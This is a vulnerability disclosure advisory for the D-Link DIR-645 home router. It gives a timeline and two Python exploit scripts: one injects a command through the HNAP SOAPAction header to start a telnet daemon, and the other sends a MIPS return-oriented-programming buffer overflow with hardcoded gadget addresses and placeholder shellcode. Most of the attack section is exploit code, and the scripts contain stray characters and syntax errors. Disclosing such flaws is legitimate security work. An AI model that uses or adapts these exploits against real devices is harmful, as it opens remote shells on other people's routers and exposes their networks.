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Dlink DIR-645 UPNP Buffer Overflow



## Advisory Information

Title: Dlink DIR-645 UPNP Buffer Overflow
Vendors contacted: William Brown <william.brown@xxxxxxxxx> (Dlink)
Release mode: Released
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DIR-645 -- Whole Home Router 1000 from Dlink. Mainly used by home and small offices.

## Vulnerabilities Summary

I have come across 2 security issues in DIR-645 firmware which allows an attacker on wireless LAN and possibly WAN network to execute command injection and buffer overflow attack against the wireless router. I have provided exploit scripts written in python that give details of the exploits. The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture.

## Details

# Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX"; + 'test;telnetd -p 9656;test\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------


# Buffer overflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

exploit_buffer = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.1\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX"; + ";pt;"+"B"*158
exploit_buffer+="C"*50+"Z"*46


exploit_buffer+="\xb4\x67\xb3\x2a" 

exploit_buffer+="\xd0\xeb\xb4\x2a"
exploit_buffer+="VVVV"
a
exploit_buffer+="\x7c\xba\xb1\x2a" 
exploit_buffer+="K"*16

exploit_buffer+="\x44\x3b\xb0\x2A"
exploit_buffer+="A"*36

exploit_buffer+="\xf0\x5e\xb0\x2A"  
exploit_buffer+="H"*16
 
exploit_buffer+="C"*212+"\r\n" + "1\r\n\r\n"
 
print "[+] sending exploit_bufferfer size", len(exploit_buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
s.send(exploit_buffer)
----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx).